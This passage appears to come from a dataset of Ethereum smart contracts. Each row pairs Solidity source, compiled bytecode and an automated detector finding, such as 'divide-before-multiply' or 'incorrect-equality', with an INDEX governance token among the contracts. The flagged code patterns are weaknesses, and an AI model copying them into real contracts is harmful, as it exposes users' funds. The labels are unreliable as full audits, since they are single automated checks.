require(IERC20(fBNB).transfer( address(LPstakingContract), amountForLP), "Tokens cannot be transferred from funder account");
if(perform==true) {
LPstakingContract.ADDFUNDS(amountForLP);}
uint256 amountFinal = amount.sub(amountForToken.add(amountForLP));
require(IERC20(fBNB).transfer( address(dev), amountFinal), "Tokens cannot be transferred from funder account");
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
} | 0x6080604052600436106100955760003560e01c80639793102f116100595780639793102f146101cd578063b147f40c14610200578063e3307c8b14610229578063f2fde38b1461023e578063fb5d484214610271576100d7565b8063436596c4146101115780634f49e655146101285780638da5cb5b1461015457806391cca3db1461018557806394db4d051461019a576100d7565b366100d757600080546040516001600160a01b03909116913480156108fc02929091818181858888f193505050501580156100d4573d6000803e3d6000fd5b50005b600080546040516001600160a01b03909116913480156108fc02929091818181858888f193505050501580156100d4573d6000803e3d6000fd5b34801561011d57600080fd5b506101266102a4565b005b34801561013457600080fd5b506101266004803603602081101561014b57600080fd5b503515156106b3565b34801561016057600080fd5b506101696106e8565b604080516001600160a01b039092168252519081900360200190f35b34801561019157600080fd5b506101696106f7565b3480156101a657600080fd5b50610126600480360360208110156101bd57600080fd5b50356001600160a01b0316610706565b3480156101d957600080fd5b50610126600480360360208110156101f057600080fd5b50356001600160a01b0316610792565b34801561020c57600080fd5b506102156107cb565b604080519115158252519081900360200190f35b34801561023557600080fd5b506101696107db565b34801561024a57600080fd5b506101266004803603602081101561026157600080fd5b50356001600160a01b03166107ea565b34801561027d57600080fd5b506101266004803603602081101561029457600080fd5b50356001600160a01b0316610891565b600154604080516370a0823160e01b8152306004820152905160009261033a926103e892610334926103e7926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561030257600080fd5b505afa158015610316573d6000803e3d6000fd5b505050506040513d602081101561032c57600080fd5b50519061091d565b9061097f565b90506000610358600a6103346101e0610352866109c1565b9061091d565b6001546003546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b1580156103b357600080fd5b505af11580156103c7573d6000803e3d6000fd5b505050506040513d60208110156103dd57600080fd5b505161041a5760405162461bcd60e51b8152600401808060200182810382526030815260200180610be26030913960400191505060405180910390fd5b60035460408051632d4f5b0960e21b81526004810184905290516001600160a01b039092169163b53d6c249160248082019260009290919082900301818387803b15801561046757600080fd5b505af115801561047b573d6000803e3d6000fd5b505050506000610495600a610334610140610352876109c1565b600154600480546040805163a9059cbb60e01b81526001600160a01b039283169381019390935260248301859052519394509091169163a9059cbb916044808201926020929091908290030181600087803b1580156104f357600080fd5b505af1158015610507573d6000803e3d6000fd5b505050506040513d602081101561051d57600080fd5b505161055a5760405162461bcd60e51b8152600401808060200182810382526030815260200180610be26030913960400191505060405180910390fd5b600254600160a01b900460ff161515600114156105d5576004805460408051632d4f5b0960e21b8152928301849052516001600160a01b039091169163b53d6c2491602480830192600092919082900301818387803b1580156105bc57600080fd5b505af11580156105d0573d6000803e3d6000fd5b505050505b60006105eb6105e484846109ec565b8590610a46565b6001546002546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561064657600080fd5b505af115801561065a573d6000803e3d6000fd5b505050506040513d602081101561067057600080fd5b50516106ad5760405162461bcd60e51b8152600401808060200182810382526030815260200180610be26030913960400191505060405180910390fd5b50505050565b6000546001600160a01b031633146106ca57600080fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031681565b6002546001600160a01b031681565b6000546001600160a01b0316331461071d57600080fd5b6001600160a01b038116610770576040805162461bcd60e51b81526020600482015260156024820152741cd95d1d1a5b99c80c081d1bc818dbdb9d1c9858dd605a1b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107a957600080fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b600254600160a01b900460ff1681565b6001546001600160a01b031681565b6000546001600160a01b0316331461080157600080fd5b6001600160a01b0381166108465760405162461bcd60e51b8152600401808060200182810382526022815260200180610b9f6022913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b031633146108a857600080fd5b6001600160a01b0381166108fb576040805162461bcd60e51b81526020600482015260156024820152741cd95d1d1a5b99c80c081d1bc818dbdb9d1c9858dd605a1b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60008261092c57506000610979565b8282028284828161093957fe5b04146109765760405162461bcd60e51b8152600401808060200182810382526021815260200180610bc16021913960400191505060405180910390fd5b90505b92915050565b600061097683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a88565b6000806109cf836064610b2a565b905060006109e461271061033484606461091d565b949350505050565b600082820183811015610976576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061097683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b44565b60008183610b145760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ad9578181015183820152602001610ac1565b50505050905090810190601f168015610b065780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610b2057fe5b0495945050505050565b6000818260018486010381610b3b57fe5b04029392505050565b60008184841115610b965760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610ad9578181015183820152602001610ac1565b50505090039056fe45524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a264697066735822122064c80a9e91ed46bf6ee6f97fab7b8e803cd869a74887809599f1c7446381f9cc64736f6c63430007050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 672 |
0x0954906da0Bf32d5479e25f46056d22f08464cab | pragma solidity ^0.6.10;
pragma experimental ABIEncoderV2;
contract IndexToken {
/// @notice EIP-20 token name for this token
string public constant name = "Index";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "INDEX";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 10000000e18; // 10 million INDEX
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Deploy INDEX token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "INDEX.approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "INDEX.transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "INDEX.approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "INDEX.transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "INDEX.delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "INDEX.delegateBySig: invalid nonce");
require(now <= expiry, "INDEX.delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "INDEX.getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "INDEX._transferTokens: cannot transfer from the zero address");
require(dst != address(0), "INDEX._transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "INDEX._transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "INDEX._transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "INDEX._moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "INDEX._moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "INDEX._writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b91906113e7565b60405180910390f35b6101576101523660046111cc565b6102e2565b60405161013b919061136d565b61016c61039f565b60405161013b9190611378565b61016c6103ae565b61015761018f36600461118c565b6103c5565b61019c610508565b60405161013b9190611639565b6101bc6101b736600461113d565b61050d565b60405161013b9190611359565b6101dc6101d736600461113d565b610528565b005b6101f16101ec36600461113d565b610535565b60405161013b9190611609565b61016c61020c36600461113d565b61054d565b61022461021f3660046111cc565b610571565b60405161013b9190611647565b61016c61023f36600461113d565b610788565b61012e61079a565b61015761025a3660046111cc565b6107bb565b61022461026d36600461113d565b6107f7565b6101dc6102803660046111f6565b610868565b61016c610293366004611158565b610a4f565b61016c610a81565b6102b36102ae366004611255565b610a8d565b60405161013b92919061161a565b60405180604001604052806005815260200164092dcc8caf60db1b81525081565b6000806000198314156102f8575060001961031d565b61031a836040518060600160405280602581526020016117d760259139610ac2565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061038b908590611647565b60405180910390a360019150505b92915050565b6a084595161401484a00000081565b6040516103ba906112af565b604051809103902081565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602580845291936001600160601b0390911692859261041b92889291906117d790830139610ac2565b9050866001600160a01b0316836001600160a01b03161415801561044857506001600160601b0382811614155b156104f057600061047283836040518060600160405280603d81526020016116e1603d9139610af1565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104e6908590611647565b60405180910390a3505b6104fb878783610b30565b5060019695505050505050565b601281565b6002602052600090815260409020546001600160a01b031681565b6105323382610cdb565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b600043821061059b5760405162461bcd60e51b81526004016105929061153a565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105c9576000915050610399565b6001600160a01b038416600090815260036020908152604080832063ffffffff600019860181168552925290912054168310610645576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b03169050610399565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff16831015610680576000915050610399565b600060001982015b8163ffffffff168163ffffffff16111561074357600282820363ffffffff160481036106b261110f565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b0316918101919091529087141561071e576020015194506103999350505050565b805163ffffffff168711156107355781935061073c565b6001820392505b5050610688565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b604051806040016040528060058152602001640929c888ab60db1b81525081565b6000806107e08360405180606001604052806026815260200161168b60269139610ac2565b90506107ed338583610b30565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff1680610822576000610861565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03165b9392505050565b6000604051610876906112af565b604080519182900382208282019091526005825264092dcc8caf60db1b6020909201919091527ff7792039f07e6afc0fffaa256750a60fa9d7fdb5a41934eb9200432707b001fb6108c5610d65565b306040516020016108d994939291906113a5565b60405160208183030381529060405280519060200120905060006040516108ff9061130a565b60405190819003812061091a918a908a908a90602001611381565b60405160208183030381529060405280519060200120905060008282604051602001610947929190611294565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161098494939291906113c9565b6020604051602081039080840390855afa1580156109a6573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166109d95760405162461bcd60e51b8152600401610592906114f4565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a185760405162461bcd60e51b8152600401610592906115c7565b87421115610a385760405162461bcd60e51b815260040161059290611581565b610a42818b610cdb565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b6040516103ba9061130a565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610ae95760405162461bcd60e51b815260040161059291906113e7565b509192915050565b6000836001600160601b0316836001600160601b031611158290610b285760405162461bcd60e51b815260040161059291906113e7565b505050900390565b6001600160a01b038316610b565760405162461bcd60e51b815260040161059290611497565b6001600160a01b038216610b7c5760405162461bcd60e51b81526004016105929061143a565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526036808452610bc7936001600160601b03909216928592919061177990830139610af1565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610c2f94919091169285929091906116b190830139610d69565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c9c908590611647565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610cd692918216911683610da5565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610d5f828483610da5565b50505050565b4690565b6000838301826001600160601b038087169083161015610d9c5760405162461bcd60e51b815260040161059291906113e7565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610dd057506000816001600160601b0316115b15610cd6576001600160a01b03831615610e88576001600160a01b03831660009081526004602052604081205463ffffffff169081610e10576000610e4f565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610e7682856040518060600160405280602881526020016117af60289139610af1565b9050610e8486848484610f33565b5050505b6001600160a01b03821615610cd6576001600160a01b03821660009081526004602052604081205463ffffffff169081610ec3576000610f02565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610f29828560405180606001604052806027815260200161175260279139610d69565b9050610a47858484845b6000610f574360405180606001604052806034815260200161171e603491396110e8565b905060008463ffffffff16118015610fa057506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b15610fff576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b0385160217905561109e565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516110d992919061165b565b60405180910390a25050505050565b600081600160201b8410610ae95760405162461bcd60e51b815260040161059291906113e7565b604080518082019091526000808252602082015290565b80356001600160a01b038116811461039957600080fd5b60006020828403121561114e578081fd5b6108618383611126565b6000806040838503121561116a578081fd5b6111748484611126565b91506111838460208501611126565b90509250929050565b6000806000606084860312156111a0578081fd5b83356111ab81611675565b925060208401356111bb81611675565b929592945050506040919091013590565b600080604083850312156111de578182fd5b6111e88484611126565b946020939093013593505050565b60008060008060008060c0878903121561120e578182fd5b6112188888611126565b95506020870135945060408701359350606087013560ff8116811461123b578283fd5b9598949750929560808101359460a0909101359350915050565b60008060408385031215611267578182fd5b6112718484611126565b9150602083013563ffffffff81168114611289578182fd5b809150509250929050565b61190160f01b81526002810192909252602282015260420190565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430190565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0190565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b81811015611413578581018301518582016040015282016113f7565b818111156114245783604083870101525b50601f01601f1916929092016040019392505050565b6020808252603a908201527f494e4445582e5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e7366657220746f20746865207a65726f2061646472657373000000000000606082015260800190565b6020808252603c908201527f494e4445582e5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e736665722066726f6d20746865207a65726f206164647265737300000000606082015260800190565b60208082526026908201527f494e4445582e64656c656761746542795369673a20696e76616c6964207369676040820152656e617475726560d01b606082015260800190565b60208082526027908201527f494e4445582e6765745072696f72566f7465733a206e6f742079657420646574604082015266195c9b5a5b995960ca1b606082015260800190565b60208082526026908201527f494e4445582e64656c656761746542795369673a207369676e617475726520656040820152651e1c1a5c995960d21b606082015260800190565b60208082526022908201527f494e4445582e64656c656761746542795369673a20696e76616c6964206e6f6e604082015261636560f01b606082015260800190565b63ffffffff91909116815260200190565b63ffffffff9290921682526001600160601b0316602082015260400190565b60ff91909116815260200190565b6001600160601b0391909116815260200190565b6001600160601b0392831681529116602082015260400190565b6001600160a01b038116811461053257600080fdfe494e4445582e7472616e736665723a20616d6f756e7420657863656564732039362062697473494e4445582e5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773494e4445582e7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365494e4445582e5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473494e4445582e5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773494e4445582e5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365494e4445582e5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773494e4445582e617070726f76653a20616d6f756e7420657863656564732039362062697473a2646970667358221220366f9d51262f408fec06474c120ec0b9d9cfe8b02cb12348a273ad1018fcd75a64736f6c634300060a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 673 |
0x9eb69d5b558e44cc658ae7717d4fc206ee963bd1 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
